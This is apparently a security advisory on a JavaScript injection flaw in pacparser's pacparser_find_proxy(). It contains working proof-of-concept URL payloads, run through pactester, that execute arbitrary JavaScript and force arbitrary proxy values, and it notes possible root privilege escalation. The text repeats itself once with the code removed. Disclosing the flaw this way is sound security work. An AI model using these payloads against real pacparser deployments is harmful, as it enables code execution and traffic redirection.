Summary
A JavaScript Injection in pacparser_find_proxy()
enables the execution of arbitrary JavaScript code in the context of pacparser's 16 years old version of SpiderMonkey. We are aware of security solutions that integrate pacparser
and run as root
; this creates a vector for local privilege escalation by chaining this injection with vulnerabilities in SpiderMonkey.
Details
When software integrating pacparser wants to evaluate the PAC configuration file to identify the proxy to be used for a given URL and host, they may invoke pacparser_find_proxy()
. This function loads the PAC script and interpolates the full URL and the host in it using strcat()
:
char *
pacparser_find_proxy(const char *url, const char *host)
// [...]
char *sanitized_url = str_replace(url, "'", "%27");
// [...]
script = (char*) malloc(32 + strlen(sanitized_url) + strlen(host));
script[0] = '\0';
strcat(script, "findProxyForURL('");
strcat(script, sanitized_url);
strcat(script, "', '");
strcat(script, host);
strcat(script, "')");
It is interesting to note that single quotes are URL-encoded to prevent url
and host
from breaking out of the JavaScript string context. However, it does not take into account backslashes that would escape the single quote concatenated right after sanitized_url
. In the absence of a strong validation on the host
after its extraction from url
, this provides two injection points in the resulting script.
This is what the execution of pactester
looks like for a correctly-formatted URL:
$ PACPARSER_DEBUG=1 ./src/pactester -u 'https://google.com' -p tests/proxy.pac
DEBUG: Pacparser Initalized.
DEBUG: Parsed the PAC script.
DEBUG: Parsed the PAC file: tests/proxy.pac
DEBUG: Finding proxy for URL: https://google.com and Host: google.com
DEBUG: Executing JavaScript: typeof(findProxyForURL);
DEBUG: Executing JavaScript: findProxyForURL('https://google.com', 'google.com')
secureUrl
DEBUG: Pacparser destroyed.
If a backslash is used at the end of the URL, pactester
warns of a SyntaxError
exception: that's a sign that characters after the backslash are out of a string context:
$ PACPARSER_DEBUG=1 ./src/pactester -u 'https://foo\\' -p tests/proxy.pac
DEBUG: Pacparser Initalized.
DEBUG: Parsed the PAC script.
DEBUG: Parsed the PAC file: tests/proxy.pac
DEBUG: Finding proxy for URL: https://foo\ and Host: foo\
DEBUG: Executing JavaScript: typeof(findProxyForURL);
DEBUG: Executing JavaScript: findProxyForURL('https://foo\', 'foo\')
JSERROR: NULL:1:
SyntaxError: missing ) after argument list
pacparser.c: pacparser_find_proxy: Problem in executing findProxyForURL.
pactester.c: Problem in finding proxy for https://foo\.
DEBUG: Pacparser destroyed.
To execute arbitrary JavaScript code without any restriction (no single quote, etc), have access to the global scope, and raise an exception to show the result of the operation, we came up with the following payload; replace REPLACEME
by the URL-encoded JavaScript you want to execute–make sure to correctly escape special characters in the string depending on your shell first:
http://,(function(t){throw(eval(unescape("REPLACEME")))})(this),0)<!--?\
$ PACPARSER_DEBUG=1 ./src/pactester -u 'http://,(function(t){throw(eval(unescape("REPLACEME")))})(this),0)<!--?\\' -p tests/proxy.pac
DEBUG: Pacparser Initalized.
DEBUG: Parsed the PAC script.
DEBUG: Parsed the PAC file: tests/proxy.pac
DEBUG: Finding proxy for URL: http://,(function(t){throw(eval(unescape("REPLACEME")))})(this),0)<!--?\ and Host: ,(function(t){throw(eval(unescape("REPLACEME")))})(this),0)<!--?\
DEBUG: Executing JavaScript: typeof(findProxyForURL);
DEBUG: Executing JavaScript:
findProxyForURL('http://,(function(t){throw(eval(unescape("REPLACEME")))})(this),0)<!--?\',',(function(t){throw(eval(unescape("REPLACEME")))})(this),0)<!--?\')
JSERROR: NULL:1: ReferenceError: REPLACEME is not defined
pacparser.c: pacparser_find_proxy: Problem in executing findProxyForURL.
pactester.c: Problem in finding proxy for http://,(function(t){throw(eval(unescape("REPLACEME")))})(this),0)<!--?\.
DEBUG: Pacparser destroyed.
The same structure can be used to return arbitrary proxy values:
$ PACPARSER_DEBUG=1 ./src/pactester -u 'http://,"")&&"foo.bar";<!--?\\' -p
tests/proxy.pac
DEBUG: Pacparser Initalized.
DEBUG: Parsed the PAC script.
DEBUG: Parsed the PAC file: tests/proxy.pac
DEBUG: Finding proxy for URL: http://,"")&&"foo.bar";<!--?\ and Host:,"")&&"foo.bar";<!--?\
DEBUG: Executing JavaScript: typeof(findProxyForURL);
DEBUG: Executing JavaScript: findProxyForURL('http://,"")&&"foo.bar";<!--?\',',"")&&"foo.bar";<!--?\')
foo.bar
Impact
Attackers with control over the URL can execute arbitrary JavaScript code.
The impact would vary greatly depending on its use, but persistent instances of pacparser
(e.g. without calls to pacparser_cleanup()
between two proxy resolutions) could be forced to return arbitrary values for proxies by overriding the implementation of functions like findProxyForURL()
.
The JavaScript engine currently used by pacparser is an old and unsupported version of Spidermonkey. If someone is break out of the Spidermonkey sandbox, they will be able to run arbitrary code through this vulnerability. We are aware of enterprise security products embedding pacparser
and running as root
, in which case attackers could elevate their privileges. We are aware of several memory corruption vulnerabilities in this version of the software, but we didn't (yet) leverage them to obtain arbitrary code execution.
Summary
A JavaScript Injection in
pacparser_find_proxy()
enables the execution of arbitrary JavaScript code in the context of pacparser's 16 years old version of SpiderMonkey. We are aware of security solutions that integratepacparser
and run asroot
; this creates a vector for local privilege escalation by chaining this injection with vulnerabilities in SpiderMonkey.Details
When software integrating pacparser wants to evaluate the PAC configuration file to identify the proxy to be used for a given URL and host, they may invoke
pacparser_find_proxy()
. This function loads the PAC script and interpolates the full URL and the host in it usingstrcat()
:It is interesting to note that single quotes are URL-encoded to prevent
url
andhost
from breaking out of the JavaScript string context. However, it does not take into account backslashes that would escape the single quote concatenated right aftersanitized_url
. In the absence of a strong validation on thehost
after its extraction fromurl
, this provides two injection points in the resulting script.This is what the execution of
pactester
looks like for a correctly-formatted URL:If a backslash is used at the end of the URL,
pactester
warns of aSyntaxError
exception: that's a sign that characters after the backslash are out of a string context:To execute arbitrary JavaScript code without any restriction (no single quote, etc), have access to the global scope, and raise an exception to show the result of the operation, we came up with the following payload; replace
REPLACEME
by the URL-encoded JavaScript you want to execute–make sure to correctly escape special characters in the string depending on your shell first:http://,(function(t){throw(eval(unescape("REPLACEME")))})(this),0)<!--?\
The same structure can be used to return arbitrary proxy values:
Impact
Attackers with control over the URL can execute arbitrary JavaScript code.
The impact would vary greatly depending on its use, but persistent instances of
pacparser
(e.g. without calls topacparser_cleanup()
between two proxy resolutions) could be forced to return arbitrary values for proxies by overriding the implementation of functions likefindProxyForURL()
.The JavaScript engine currently used by pacparser is an old and unsupported version of Spidermonkey. If someone is break out of the Spidermonkey sandbox, they will be able to run arbitrary code through this vulnerability. We are aware of enterprise security products embedding
pacparser
and running asroot
, in which case attackers could elevate their privileges. We are aware of several memory corruption vulnerabilities in this version of the software, but we didn't (yet) leverage them to obtain arbitrary code execution.